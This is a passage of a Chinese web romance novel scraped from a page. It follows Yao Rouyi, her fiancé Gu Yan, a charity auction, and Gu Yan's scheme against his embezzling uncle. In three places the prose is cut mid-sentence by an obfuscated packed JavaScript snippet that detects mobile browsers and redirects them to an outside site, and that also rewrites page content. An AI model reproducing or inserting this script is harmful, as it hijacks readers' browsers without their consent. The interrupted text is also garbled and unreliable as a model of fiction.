“我不在乎你对我什么看法,也完全不可惜失去你这么个虚伪朋友,更不后悔揭穿渣男的偷拍行径,这件事我会上报学校,至于会不会给你处分我也不关心,我只做好我能做的,到此为止。” “我根本不会怕你上报学校,我爸和院长是朋友,你以为你能成功吗,可笑!” “我说过,我不关心,你什么结局我根本不care,你已经不配我再投射半点注意力了。” “你,你凭什么,你高高在上个什么劲,你眼里就没有我,这么久你根本就没有把我当成真正的朋友,不过是把我当成可有可无的跟班,当成一个被渣男欺骗的loser!” “你眼中的自己,往往就是别人眼中的你,既然你把自己定位成跟班和loser,那你就不可能得到平等的友情。”姚柔伊说完,带着画离开了寝室。 她关上门的那一刻,寝室里传来摔东西的巨大声响,还有李菲娅惨烈的嚎哭。 夜色茫茫,她突然感觉空虚,这一天跌宕起伏,实在发生了太多事,现在基本上弄清所有原委,让她心里难得的平静下来。 今天最要感谢的人,就是陪她折腾了一路的蒋洲,她给蒋洲发了个信息,告诉他事情已经解决了。 蒋洲回了个OK的手势,【今天真是刺激啊!】 姚柔伊:【谢谢。】 蒋洲:【你别吓我,你被鬼上身了吗,撤回撤回,咱俩谁跟谁,还要发谢谢,我发现自从你那个未婚夫顾阎出现,你简直就跟变了一个人一样。】 姚柔伊被逗笑。【人家现在的人设是淑女。】 蒋洲:【你可别来恶心我了,哪天我来月经了,你都不可能是淑女。】 姚柔伊:【滚。】 结束和蒋洲的聊天,姚柔伊从手机界面抬头,意外发现前方的路灯下,站着一道颀长的身影。 那背影很宽阔,上半身抵着路灯,灯光将他的发丝镀上一层神圣的光亮。 好似深夜诵经的神父。 更意外的是,有一缕烟雾慢慢升腾起。 他在抽烟? 他还没走? 他这是在等她吗? 姚柔伊平静的内心再起波澜,如果说蒋洲是今天帮她最多的人,那么顾阎就是今天最让她惊喜的出现。 他以一种救赎者的姿态,毫无征兆地降临。 他们明明没有什么亲密关系,可他还是出手帮她。 这是将她规划进他的势力范围,将她遇到的困难一并接揽吗?还是因为个人的教养,无论是谁,他都不会坐视不理? 他居然还会抽烟,这真是一个惊奇的发现。 一个彬彬有礼的绅士,也会在夜晚校园的路灯下,点上一支烟,默默地抽着。 脑海中思绪纷乱,姚柔伊不知不觉走到了顾阎身后,“你还没走?” 顾阎脊背一僵,她出来的未免太早,他刚才等的有点烦,就抽支烟解乏,以为能在她出来前抽完,却没有想到被她当场撞到。 他本来还想在她面前呈现出一个不烟不酒的好青年形象。 顾阎将半截的香烟在一旁垃圾桶上掐灭,烟头丢了进去,这才转过身来。 “处理完了?”他问。 姚柔伊点头:“嗯,你怎么还没走?” 她又问了一遍,她也不知道自己为什么这么执着,或许是人在心情不好的时候想听些让自己开心的话。 到底是什么样开心的话,姚柔伊内心模糊,她只能确定,或许是顾阎接下来的回答。 很快,她如愿以偿听到了那句让她开心的回答—— “我在等你。” 磁性而舒缓的男声,好似一张宽大而温暖的手掌,给一颗疲累已久的心脏做了一场SPA。 完完全全地抚慰到她。 突然觉得,哪怕顾阎的性格和她的择偶标准相去甚远,但与他相识,也是一件不错的事情,哪怕当个普通朋友。 “谢谢,我很开心。” “开心?你不应该很难过,毕竟发生了这么多不好的事情。” “可是,你在等我,我很开心。”姚柔伊很诚实地回答,她也不知道为什么会说出这么暧昧的话。 顾阎心下一动,这么些年,周围的莺莺燕燕不少,对他有意思的异性并不少见,各种大胆求爱的话语他也听过不少,料想自己对这些应该免疫了。 但在这夜色下,一个失意的美人,低垂着眼眸,轻声说因为他的等待,她很开心。 没有任何情绪的助推,没有任何修辞的增色。 仅仅是简单的不能在简单的一句话。 却让他沉寂已久的心,猛然跳动一下。 这是不是就是传说中反差的魅力,一个受过良好教育和规范的乖乖女,理应是耻于表露内心感受的,但她却说得坦坦荡荡,不加掩饰。 给听者天然一击。 顾阎叹了一口气,像是有些无可奈何。 姚柔伊因为这声叹息抬起头来,她有些后悔说出那句话,好似暴露出她不设防的软肋。 顾阎上前一步,“我抱抱你可以吗?” 这已经是他残存的最后风度了,用理智征询女生的同意,搁平时他早就A上去了。 姚柔伊呼吸一窒,这太超过了,他们的关系真的有进展到这一步吗?若是没有到这一步,可以同意吗? 就让这一切掩藏在无声无迹的夜色中。 待明天旭日东升,今晚的旖旎暧昧便随着日光烟消云散。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634429|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就让她在朝阳升起前,短暂沉沦其中。 姚柔伊大胆地伸手手臂。 下一秒,结实有力的臂膀便将她圈入怀中。 他胸膛的跳动,附在耳边的呼吸,白衬衫下散发的热度,残存的古龙水、酒气、烟味混杂的气息,一切的一切,包裹着她,安慰着她,让她不自觉地想闭上眼睛,投入其中。 他的手掌好宽大,一手便将她整个背部盖得七七八八,另一个覆在她的脑后,轻揉地摩挲她的发丝。 人在难过时,很难抵挡这样一个安全感爆棚的拥抱。 她突然有些理解,那些在女生宿舍楼下,缠缠绵绵不肯分别的小情侣了。 然而手中的画提醒着她,现在不是沉溺的时候,她还有正事没做。 姚柔伊轻轻推了一下顾阎的胸膛。 他没有多作挽留,很快与她分开,行为举止都很尊重她。 “我现在要去交画了。” 顾阎:“我陪你。” 他看着那幅画,突然想到了明天是拍卖会,不禁失笑:“说不定我真成了你这幅画的买家。” “你也会参加拍卖会吗?”姚柔伊很意外。 “是,你们校领导热情邀约,我不敢不从啊。” 难怪他开完商谈会还没有离开学校,除了她的原因,还有明天拍卖会的事。 姚柔伊:“前提条件是我得过了明天的打分,第一名才有机会参展。” “我很期待。” “我也是。” 大概十分钟后,姚柔伊联系上班长,将画交给了对方,不出所料收获班长大惊失色的表情,以及再三的询问“你确定交这个”。 姚柔伊态度坚决地上交毕设,班长无法,只得接收。 总算彻底结束了兵荒马乱的一天,她身为大学生的最后一天。 她终于得以分出更多的注意力给身旁这人,顾阎此人的形象气质太出众,他跟在她身边,所有人都自动将两人视为一对,连解释的功夫都省了。 时间已经很晚,姚柔伊开口,“我要回我租的房子了,你呢?” 顾阎腹诽,这就开始赶人了,这人变脸变得倒是快呀。 “我喝酒了,不能开车,你要是不能收留我,那我就在车里将就一夜吧。” ‘可以找代驾送你回去’、‘要不我帮你开过房间吧’、‘学校没给你安排住宿吗?’以上种种姚柔伊在心中想了一圈,却没法说出来。 有一种过于冷漠、翻脸不认人的感觉。 可是,可是她租的房间挺小的,每次都是乱得实在受不了的时候才统一打扫,这次还没到要打扫的时候,虽然她能忍受当前的凌乱,但这有点过于崩人设了。 哪个淑女的房间也不会这么乱糟糟吧? 她真是犯难,领顾阎回家,也有点太超过了。 可听顾阎的意思,他倒是挺想去她住的地方。 她决定把道德压力推给对方,“我真的很想留你休息呢,可是,可是我妈妈说结婚之前最好不要和异性一起过夜,我不知道怎么办哎。” 顾阎一下子被这话堵住了,淑女保持基本的矜持,这没有错,若是他强行留宿,岂不是不符合绅士的行为准则。 他被自己之前背上的包袱拖累住。 既然短期内,他还不想打破这种平衡,那就只能按照既定的任务轨道走。 “对不起,刚才我太冒昧了,我让助理帮我订一间房。” 姚柔伊暗自松了一口气,她的秘密基地保住了,“真是抱歉,你不会怪我吧,今晚你帮我这么多,我却拒绝了你这个要求。” “不会。”顾阎微笑着说。 选择这种讨长辈喜欢的女生结婚,这种事情都是苦果,他早有心理准备。 12. 第 12 章 顾阎回到校方为他准备的房间,池修白早已不见人影。 双个人都是成年男性,自然知道不要打搅对方的夜生活。 池修白已经回到自己给田妙妙安排的住处。这个麻烦精前段时间软磨硬泡,非要去学车考驾照,池修白以为她学车的真实目的,就是等驾照到手的那天向他索取豪车。故而,只是冷笑,不当一回时,哪知道田妙妙还真短短两三个月就把驾照顺利考下来。 池修白等着她开口问他要车,哪知道这女人就是按兵不动,还用他之前给的生活费,买了一辆几万块的二手车,说是先练练手,等开熟练了,再换新车。 池修白私下直翻白眼,认为田妙妙这人是在惺惺作态,所图甚大。 他实在也看不惯自己的车库停了一辆上不得台面的二手车,直接甩了一辆新车钥匙给她。 他还记得田妙妙拿到车钥匙的那刻,那叫一个欣喜若狂,笑得眼睛都弯成两道月牙,也不顾他的反对,还没有刷牙,就在他的脸上啵啵亲了两口。 气得池修白狠狠擦脸上的口水,口中叫嚣着,再不老实就把车钥匙收回去。 田妙妙忙把车钥匙护到胸口,一边扭动,一边摇头。 他没想到,送出去的这辆车还真发挥了作用,今晚,田妙妙开着这辆车来A大接他。 本来叫助理来接就行了,田妙妙这个烦人精非要自告奋勇地表现,抢了司机的活。 上车前,池修白不肯动,凉凉嘲讽:“你开车技术过关吗,我可不敢坐。” 田妙妙心里直骂他个矫情逼,面上还是挤出职业假笑,下车连推带搡地把他哄上车。 本来让他坐后排,他又作妖不乐意,非要去副驾驶。 田妙妙只能又把这个祖宗给扶到前面去。 他连安全带都不肯自己系上,任由车内提醒的警报声滴滴作响。田妙妙只能送佛送到西天,松了自己的安全带,俯身过去,帮这个难伺候的祖宗系上安全带。 还被他抱怨“一点眼力见都没有”。 田妙妙刀了他的心思都有了,奈何还没到时机,只能凑过去亲他的嘴角,哄他:“知道了宝宝。” 池修白耷拉的嘴角,这才稍稍提起来。 虽说田妙妙实在达不到成为他女伴的条件,还总是没有眼力见,或者不知分寸缠着他,但有她身上有一点好,就是一点不矫情,没啥脾气,愿意笑吟吟地哄着他。 这让他非常受用,所以一再纵容她的逾矩。 他很喜欢在她面前表现出自己任性顽劣的一面,她总能全部消化与包容,让他非常放松。 意识到这点,池修白眉头紧皱,该死的,这个女人好可怕,竟然不知不觉间做到这一步,假以时日,还不得仗着他的依赖狐假虎威。 过了今晚,他得刻意疏远她一阵,让她认清自己的身份。 * 翌日,顾阎准时出现在拍卖活动的现场。 池修白昨晚体力消耗太多,再加上田妙妙的被窝里好像有沉睡魔法,他一下子睡到大中午才醒,拍卖活动是彻底赶不上了。 干脆不去了。 他给顾阎去了个电话,让他替自己随便拍一件,反正这种活动,就是一个由头让他们这些人散散金,至于展品是什么他根本不在意。 顾阎应下。 对于好友时常的不靠谱行为他早见怪不怪,池修白一向能在一边犯错的同时,一边展现出极强的个人才能,让别人在咬牙切齿的情况下还能对他钦佩不已。 他是个恃才傲物、还很自我的人。 同时也是他身边难得真心的朋友。平日里不靠谱,真遇上事又格外靠谱。 顾阎步入展会中心落座。 手机上收到姚柔伊的微信信息。 【天啊,我的作品拿了满分,我被选上了!】 【恭喜,也给我了机会。】 【?】 【你知道的,这种慈善竞拍活动,最大的麻烦就是决定拍什么。】 【会不会有以权谋私之嫌。】 【我并认为你能拿到拍卖款项。】 姚柔伊的想法是,哪怕没有拿到一分钱,自己的作品在拍卖会上拍出高价,这本身就是一个极其昂贵的广告。 后续的商业合作还不就是应运而来。 姚柔伊心里那叫一个美滋滋,自打家里破产之后,她现在满脑子都是赚钱,赚钱,赚更多的钱。 既然顾阎能让她赚更多的钱,那他就是一个完美的合作伙伴。 最重要的是,还长得帅。 什么性格不性格的,统统抛到脑后,眼前的利益才是实在的。 【认识你真好。】 赞美不花钱,却能让别人开心,是一件双赢的买卖,姚柔伊绝不吝啬她的赞美,势必让顾阎的吹捧中极具膨胀,让她多捞点好处。 顾阎轻笑。 这个女生,除了她大家闺秀、贤妻良母的性格本色,其余时候显露出来的小性格,狡黠灵动,还挺可爱的。 时不时能取悦到他。 因为心情好,顾阎挥霍起钱财来就更是大手大脚。 他凭一己之力,助力姚柔伊的毕业作品,力压所有艺术大家的作品,成了当天慈善拍卖会上成交的最高价。 效果过于劲爆,还闹上了当地的新闻。 姚柔伊像是被天降大饼砸中,大脑晕晕乎乎的。 蒋洲很快找她报喜。 【卧槽,你这未婚夫也太有实力了吧,起拍价就叫了三百万。】 【我也没想到啊,能拍出十万我就很满足了,哪知道这么吓人啊。】 【你都不知道,李菲娅要气死了,听说连拍毕业合照都不来了,估计是不好意思面对你,谁能想到打脸来的那么快,那么响。她还以为你会延毕,没想到教授慧眼识珠,给你满分,还拍出全场最高价,我要是李菲娅我都想跳楼了。】 结束和蒋洲的聊天,姚柔伊点开顾阎的微信界面。 最后一条信息还是认识你真好,他没有回复,却用这么大的惊喜当作答案。 这个人呀,完全不知道该怎么办,姚柔伊甚至有点庆幸,当年和他有这么一个荒诞的娃娃亲约定。 姚柔伊想编辑一条得体的感谢回复,可在输入栏删删改改都不太满意,要是按照她的真实性格,她直接就发过去“我靠老哥,你怎么这么牛逼!我爱死你了!恨不得以身相许!从此以后抱紧你的大腿!唯您马首是瞻!”但这种玩意发出去之后,只怕会喜提顾阎的大拉黑。 在她还没编辑好任何内容的时候,收到了顾阎的信息。 【公司有事,我先回去了。画已经拿走了。】 姚柔伊马上回复:【好的,慢走,感谢你的捧场。】 好官方,好没诚意,姚柔伊也觉得不妥,最后又补了一句:【今天真的很开心。】 不知道他能不能领会她的意思——很感谢你的出现,让这段难捱的日子变得开心。 顾阎回复:【好。】 “好”是什么意思,只是一句礼貌的应和吗,还是说他也觉得她的出现是一件很好的事情。 姚柔伊决定不想了,为了别人的一句话胡思乱想,实在是不太酷了,以前只有她钓别人的时候语焉不详,哪允许别人这样对自己。 姚柔伊快快乐乐地约朋友拍毕业照,把顾阎暂时抛到脑后。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634430|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你顾阎就算再好,也不能主宰我所有的情绪。 * 顾阎驱车回了集团总部。 总助程谭面色焦急,满头汗水,他跟着顾阎挺久,早就练就了临危不乱的气质,能让他这么失态的情况是罕见的。 “报警了吗?”顾阎气定神闲,丝毫不受影响,大步进入电梯。 程潭上前快速汇报:“已经报警,并封锁了消息。” 顾阎点头,信誓旦旦:“没事,不用紧张,他早晚主动还回来。” 见老板这般十拿九稳的态度,程谭总算安下心来,得空擦拭头上的汗。 集团董事长办公室被一伙人强行闯入,抢走了保险箱,里面全是些公章和机密文件。 这种低劣的强盗行为,原本以为只网上才有的,程谭有时刷到这种新闻后还会忍不住笑一下,不曾想自己有一天竟会遇到。那行人冲进来时,他着实吓了一跳,他就如螳臂挡车,阻拦不下任何人,急出一身汗。 保安上来的时候,那行人已经得手,带着保险柜逃之夭夭。 程谭继续汇报:“这批人里有顾坤顾董事,所以那群人才那么有恃无恐。” “我知道是他,我早就等候多时了。”顾阎见程谭面色不佳,便给他放假,“今天受惊了,你先回去休息吧,这边我来处理。” “是,谢谢顾董。” 顾阎自打回国进了公司,一向雷霆手段,不论亲疏远近。集团经过这么多年的发展,规模庞大,关系网络更是盘根错节,管理层面也呈现出家族企业特有的僵化感。 在爷爷顾卫国因身体原因卸任董事长一职后,集团的话事人主要是他爸顾乾,三叔顾坤,还有早他几年回国的二姨顾方圆手里。 顾乾主抓公司管理和研发生产,顾坤负责市场、业务、营销相关,顾方圆则负责财务相关。 原本大家看在一家子的份上,面和心不和地相安无事,自打顾阎进了公司,平衡一下被打破,他是个小辈,可又是最受顾卫国看中的人。 两年前公司顺应时代发展,要进行业务改革和重组,这种生死攸关的重任,与每个人利害关系休戚相关,谁接下这任务,谁就能公司安排壮大自己的势力,并借机架空另外两人。 原本他们三人对此都虎视眈眈的,但顾卫国力排众议,非要让刚进公司半年的顾阎主持改革。 在公司深耕了十几年的顾坤意见最大,顾阎一上来就动业务版块,砍了他很多油水丰厚的项目,根本不给他半点情面。 他又不是他老子,自然做不到装聋作哑、无事发生,他私下里也跟顾阎谈过,让他下手有点分寸,很多业务都是维系多年的人脉,得罪了老客户对公司只有坏处、没有好处。 顾坤苦口婆心,“人情社会,公司效益并不是最重要的,人脉搭建才是,水至清则无鱼。” 奈何被顾阎一句,“我看不是水至清则无鱼,而是三叔害怕这浑水清下来,你养的食人鱼要瞒不住。” “你……!”顾坤又惊又气。这小子怕不是已经查出来什么,才敢这么肆无忌惮,不给他留面。 顾坤一直都知道,顾卫国并不属意他接班,就算一辈子替顾家卖命,也得不了更多,所以这些年来,他暗中也利用顾家,为自己的公司进行利益输送。 起初也只是百万级小数目,后来链条打通,他的胃口日渐增大,账目也增至千万级、亿级、十亿级。 尤其是这两年顾卫国身体不行了,退居幕后,顾坤更是无所顾忌,变本加厉,一年少说能转移个百来亿。 利润他拿着,风险由顾家担着,好不快活。 而这一切都被顾阎给毁了。 13. 第 13 章 顾阎按兵不动,在办公室翻看这两天送过来的文件。 他等着顾坤送上门来,并且他有把握,他很快就会过来。 顾阎为了这一天也算绸缪了好多时日。 播下的种子,总算要破土而出。 顾坤刚把保险柜搬到家,就收到顾乾的电话。 他仍旧不确定,顾乾倒底是偏向哪头的,他虽说也跟他一样,权力被顾阎那小子抢占不少,但他毕竟是顾阎亲爹,他的东西迟早也会是顾阎的。 他拿不住,顾乾支不支持他反抗那狼一样的小崽子。 犹豫不决间,电话挂了。紧接着,又打来了。 顾坤牙一咬,接通电话。 电话哪头顾乾立刻质问,语气愠怒至极,“你今天干的这叫什么事!” “他逼我到这一步,我再不做点什么,下周就得卷铺盖滚蛋了!” “把保险柜还回去,还有你私下的公司注销了,回集团老老实实地干,他不能拿你怎样。” “连你也都知道了。”顾坤呼吸加重,破罐子破摔。 “你以为你做的很隐秘吗,不仅我,爸、小妹,大家都知道,你不做的太过分,我们都能睁一只眼闭一只眼。可你现在呢,自打老爷子住院,你挪动了多少?” “让我注销公司,跟让我滚出顾家有什么区别,我废了多大的精力,才把公司给做起来,那是我全部的依仗。” 顾乾叹了一口气,“你怎么还不明白,说到底顾家才是你的依仗。” 没有顾家集团,你的公司能在短短几年内达到这般规模? 顾坤满腔委屈地打断:“不要再说了,这顾家算什么依仗,我这些年勤勤恳恳,为集团鞍前马后,老头子眼里有我吗?他根本就没有半点要我接班的意思!” “顾家基业这么大,谁都独吞不下,爸不是没想过分权。” “算了吧,他现在明显是想跳过我们,直接把公司给他的好孙子。那是你儿子,你自然是不急,可我等不下去了。”顾坤愤慨难平:“老爷子前脚咽气,那狼崽子后脚就能把我赶出去。” 顾乾见劝说无效,连连叹气,眼瞅着三弟不知悔改,逐渐走向深渊,他这个做大哥的却无能为力。 顾坤挂断电话,看向保险柜,他就像饿了三天的狗,死盯着一根肉骨头,双目猩红,呼吸急促。他手忙脚乱地从兜里掏出钥匙,伸着抖个不停的手,打开了保险柜。 他深深地吸了一口气,将里面的公章和文件全部倒出来。 颤抖的手摩挲文件封面,慢慢翻开,赫然是一片空白! 顾坤如遭雷劈,动作急躁地往后翻了几页,用的力道太大,纸张都被扯破。 全都是白纸! 顾坤狠狠将文件摔到地上,慌忙去拿公章,打开之后却发现,这只是模型,公章上面根本没有刻字。 顾坤直接瘫软在地上。 他被顾阎那小崽子算计了,他不惜雇人铤而走险去抢保险柜,冒着入狱的风险,就抢来了被掉包过的假东西! 他赢了,他彻底赢了。 监控拍下了他抢保险柜的全过程,他一无所获,而顾阎却手握着可以将他送进去的致命把柄。 不,他不能坐以待毙,如果顾阎真的不顾情分把他弄进去,他这么多年的打拼就彻底付诸东流,还会连累他正在读高中的女儿。 还回去,把这个烫手山芋丢回去,如果顾阎愿意放过他,他可以退出顾家集团,专注自己的公司。 反正这些年,他积累的客户资源已经足够多了。 顾坤越等越害怕,他怕顾阎去报警,既然已经下了决心,他火速将保险柜收拾好,开车送回去。 回到集团的时候,门口保卫已经撤走,一路上没有任何阻拦,显然这也是顾阎的安排。 一切的一切都预示着,顾阎对事情的所有进展都了然于胸。 顾坤此刻才发觉,自己彻底看轻了这个侄子,他不仅是一条无所顾忌的狼崽子,还是一只老谋深算的狐狸。 他此刻就是被请君入瓮的人,明知道前方有虎狼,却不得不去。 来到顶层顾阎办公室。 没有看到任何的助理和秘书。空阔的楼层里安静至极,掉一根针都能听见声响。 顾阎为何打发走所有人,这是给他留面子吗? 顾坤在办公室前站住脚,敲门的手抬起来又放下,怀里抱着的保险柜仿佛有千斤之重。 反复了三次后,里面传来顾阎平稳的声音:“进来吧,三叔。” 顾坤深深呼出一口气,硬着头皮推开了办公室大门。 正对着的是宽大气派的紫檀木办公桌,顾阎结束阅读文件,抬起头对上了顾坤的眼睛。 那双饱经沧桑的眼睛里并没有太多的悔恨,而是一种遗憾。 他们很少会出现在同一个办公室中,除了开董事会时勉强坐在一张桌前,其余时候大多不怎么相见,或者说顾坤有意无意是逼着顾阎的。 他很难说出为什么,他始终觉得顾阎这人和他大哥顾乾没有任何相似的地方,大哥的气质是温和收敛的,而顾阎野心勃勃,杀伐果决,很有他年轻时的风范。他有时会想,顾阎要是他的儿子多好,若是他们父子联手,必然能将顾家送上另一个巅峰。 可顾阎并不是他儿子,能力也远在同年龄段的他之上,所以他内心始终忌惮这个侄子。 当然也有不甘,不甘他轻轻松松就能获得老爷子的认可,这是他努力了一辈子都实现不了的。 顾坤将保险柜放在顾阎桌子前,询问:“你是怎么给我下套的?” “其实很简单,先营造环境,再给出指引,我其实也没想到三叔上套得这么快。” 顾阎在集团放出风声,要撤掉顾坤手里的最关键、最赚钱的几大业务,还要严查相关资金流向,在公司营造出风雨欲来,即将向顾坤开刀的假象,让他彻底乱了阵脚,又在顾坤经常会浏览的社交媒体上推送闹得沸沸扬扬的抢公章新闻,就这么简简单单地一个坑,顾坤就彻底栽了。 其实顾阎准备了不少方案对付他,但后面的都来不及用上。 有时候人性就是这么奇妙,沉着冷静时一眼就能发现的坑,在自乱阵脚时,就会结结实实地踩上。 顾坤也很快反应过来,他挤出无可奈何的苦笑,甚至悲哀地发现,顾阎竟然在无形中给他带来如此庞大的精神压力。 “水自清则无鱼的道理,三叔明白,我自然也清楚,很多东西牵一发而动全身,根本不是这么草率就能解决的,只是三叔太相信我会真的出手。” 顾坤:“你想做的事没一件做不出的。”是的,他不是没有怀疑过风声是假的,但内心深处基于对顾阎的恐惧和认可,让他不得不相信他能做得出来,也能做得到。 顾阎失笑:“三叔谬赞。” 遭此一役,顾坤整个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634431|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想被掏空了所有精力,他把保险柜放到桌面上,有气无力地摊牌:“今天的事你打算怎么办?” 顾阎双肘支撑桌面,手掌交叠支在下巴处,他的视线扫过保险柜,又移动顾坤脸上。 他淡淡开口:“人老了就别这么操劳,拿着集团股份做个闲人多好。该关的关,该交的交。” 顾坤的拳头紧紧握起,这该关的自然指的是他自己创办的公司,该交的是自己在顾家集团打拼几十年的权柄。 他饶是做好了思想准备,以为会在这两者中二选一,没想到顾阎想要的是全部。 他自问这么多年,劳苦功高,早年为了跑市场吃过多少苦,光一年喝进医院就得七八回。 就算他私下贪了一些集团的业务,又怎么了,至于把人逼到这份上吗? “我是做了错事,给你抓住了把柄,但你就是拿这事报警,我也不信能怎么样,保险柜终究是假的。” 顾阎笑了,他饶有兴致地欣赏顾坤的顽抗,就像猫抓老鼠,先不咬死,而是把老鼠折磨一大圈,玩腻了再无情吃掉。 顾阎从抽屉里取出一份文件丢过去,“看看这个,够不够格让你进去。” 顾坤拿过文件袋,拆开,里面都是这些年,他借助顾家集团朝自己公司进行业务输送的证据,还有几笔金额极大的公款挪用,原来顾阎早就着手收集这些东西了,他前段时间紧急销毁各种凭据,根本毫无用处。 顾坤握着文件袋的手用力到颤抖,文件袋扭曲变形。 一秒,两秒,三秒…… 办公室里鸦雀无声,顾阎单手支着脑袋,懒洋洋地看着他,既轻慢又嚣张,他等着顾坤的心理挣扎后的回复。 大约一分钟后,顾坤完全泄气了。 “好,按你说的,我注销公司,我退出集团。”他的声音疲累到极点,从不甘心到心死认命,一瞬间苍老了十岁。 顾阎得到了想要的答案,他心情愉悦,大发慈悲道:“三叔你这些年的功劳苦劳,爷爷心里都记着的,他说你就是走错了路,让我别把证据交给警方,一家人不能兵刃相向。等你走后,我就把我手里头的股份多转给你三个点,从此只拿分红做个闲人,多陪陪家人。” “他真的这么说的?”顾坤声音颤抖。 这么多年,他既怨恨顾卫国,又忍不住想得到他的认可。自打顾卫国住院之后,他一次都没有去看望过。 顾阎:“爷爷挺想见你的。” 顾坤转过身,脊背在抽动,他只点点头,哽咽着说不出话。 在顾坤离开后,顾阎也几不可察地叹了口气。 有时候,他对家庭这个概念很淡薄,父母在他初中时关系决裂,父亲毅然决然选择了旧爱,母亲抑郁自尽,童年的短暂美好如同镜花水月,此后他很难从亲情中获得慰藉。唯独爷爷算是他难得在意的亲人,他选择放过三叔很大程度上也是为了宽慰一个老人的心。 就像他选择满足爷爷的期待结婚一样。 他猛然间想到了姚柔伊,那个温婉的、得体的女孩,他有些迷茫,不知道这个选择是否正确,父母婚姻的失败让他在很大程度上产生抵触心理,他想他要么不结婚,要么就必须将婚姻经营到最完美的状态,不允许父母的失败再度发生在自己身上。 所以他愿意掩藏自己的真实性格,用一个与她相配的绅士品格,与她相处接触。 淑女理应和绅士相配,不是吗? 14. 第 14 章 忙碌的毕业典礼开完,姚柔伊彻底告别大学校园。 宽大的学士袍盖住了身上的衣裙,学士袍下是两条细腻笔直的小腿,在日光下白皙得晃眼,脚上是一双黑色绑带高跟鞋。她的头发染回黑色,但今天特意带了一顶橘红色假发,明艳似金辉玫瑰。总之,学士袍在她身上没有一点点学术气息。 原本因为相貌,姚柔伊就在校园小有名气,慈善拍卖会更是让她声名大噪,在回寝室收拾剩余东西的路上,不停有同学和她合影。 到达寝室后,其余三个室友都在,包括李菲娅。 另外两室友立刻停止了交谈,开始等着姚柔伊和李菲娅之间的冲突。 李菲娅的眼睛很红,应该哭过。 姚柔伊并不是个喜欢耀武扬威的人,尽管心里挺爽的,也不会无聊到再落井下石讥讽一下李菲娅。 她是那种,只要别人背叛了她,她不会再为那人贡献一丁点的情绪,不论是难过还是快意。 人要活得潇洒,这是她一直认可和践行的。在意的事情越多,越难获得真正的潇洒。她的注意力只能分给真正值得的人。 李菲娅一言不发,见姚柔伊进来,她甚至不再收拾东西,直接拿起手机离开寝室。 在她走后,另外两个室友才重新开始交谈。 姚柔伊问她们:“要一起去聚一下吗?” 两个室友摇头,她们两人是闺蜜,与姚柔伊和李菲娅走得并不近,因为姚和李两人都是大小姐一般的存在,以致于这两个相对普通的女孩都自觉与她俩隔离开。 姚柔伊也不做强求,她有另外的朋友。 离开校园时,她回头看向学校大门,一时间有些怅惘,大学四年算是她人生最快意的时光,什么新鲜事都勇敢尝试,去旅游露营,去泡吧喝酒,去谈情说爱,一切都是美好的,可以纵情声色的,就连烦恼都是无病呻吟的。人生还会有这么青春美好的、无所忧虑的四年吗? 当晚,姚柔伊和七八个好友一起在常去的酒吧开了卡座。 正值毕业季,大家心里五味杂陈,正适合付诸于酒水。 姚柔伊还挺喜欢喝酒的,但不喜欢一个人喝,喝酒一定要有伴,这样才有滋味,姚柔伊还挺佩服那些能独酌并且自娱自乐的人,因为她喝过酒之后,会产生一种巨大的孤独、空虚之感,如果周围有朋友在,嬉笑吵闹声还能对冲一下低落的情绪。 姚柔伊已经喝完五罐啤酒,正是微醺状态,她面前是一杯新点的精美特调,这种喝着没那么尽兴,但拍照好看。 她拍了张端着高脚杯的图片,发在朋友圈中,配文cheers和一个干杯的表情符号。 当然,她特地编辑了分享范围,排除了顾阎。 酒精上头后,大家在一起又哭又笑,骂奇葩同学,骂傻逼校领导,骂狗屎前任,骂着骂着,又哭起来,即将离开生活四年的地方,总归是有诸多不舍。 蒋洲举杯:“一起走一个,以后要常聚啊。” “谁跟你常聚,老跟我抢男人。”一个染着粉色齐肩发,打着一枚唇钉的女生推搡他。 蒋洲:“我说老齐,不就是一个男人嘛,你到底记到什么时候,输给我你也不丢人。” 齐莎莎翻白眼:“我那是看走眼,不知道他好那口。” 蒋洲:“不过你别难受,我跟他没谈,一脱裤子,我滴娘,MAC。” 齐莎莎笑倒在一旁。 姚柔伊也笑得不行。 齐莎莎又揽着姚柔伊,起哄:“你是不是想起你前男友了,哈哈哈,有的一拼吧。” “少提他,纯纯黑历史。”姚柔伊不愿面对,那男生长得挺帅的,高瘦白,清清爽爽的感觉,奈何实在是中看不中用,她羞涩的第一次失败于对方刚脱完衣服就秒射,还再也硬不起来,甚至打算吃药,动作连贯的把姚柔伊吓得一愣一愣,直接就逃离尴尬现场。 后来第二任男朋友,她特意规避过第一个的失败,他是体育特招生,身材特别好,人也帅,就是花心大萝卜,脚踏两条船,被姚柔伊逮到后果断分手。 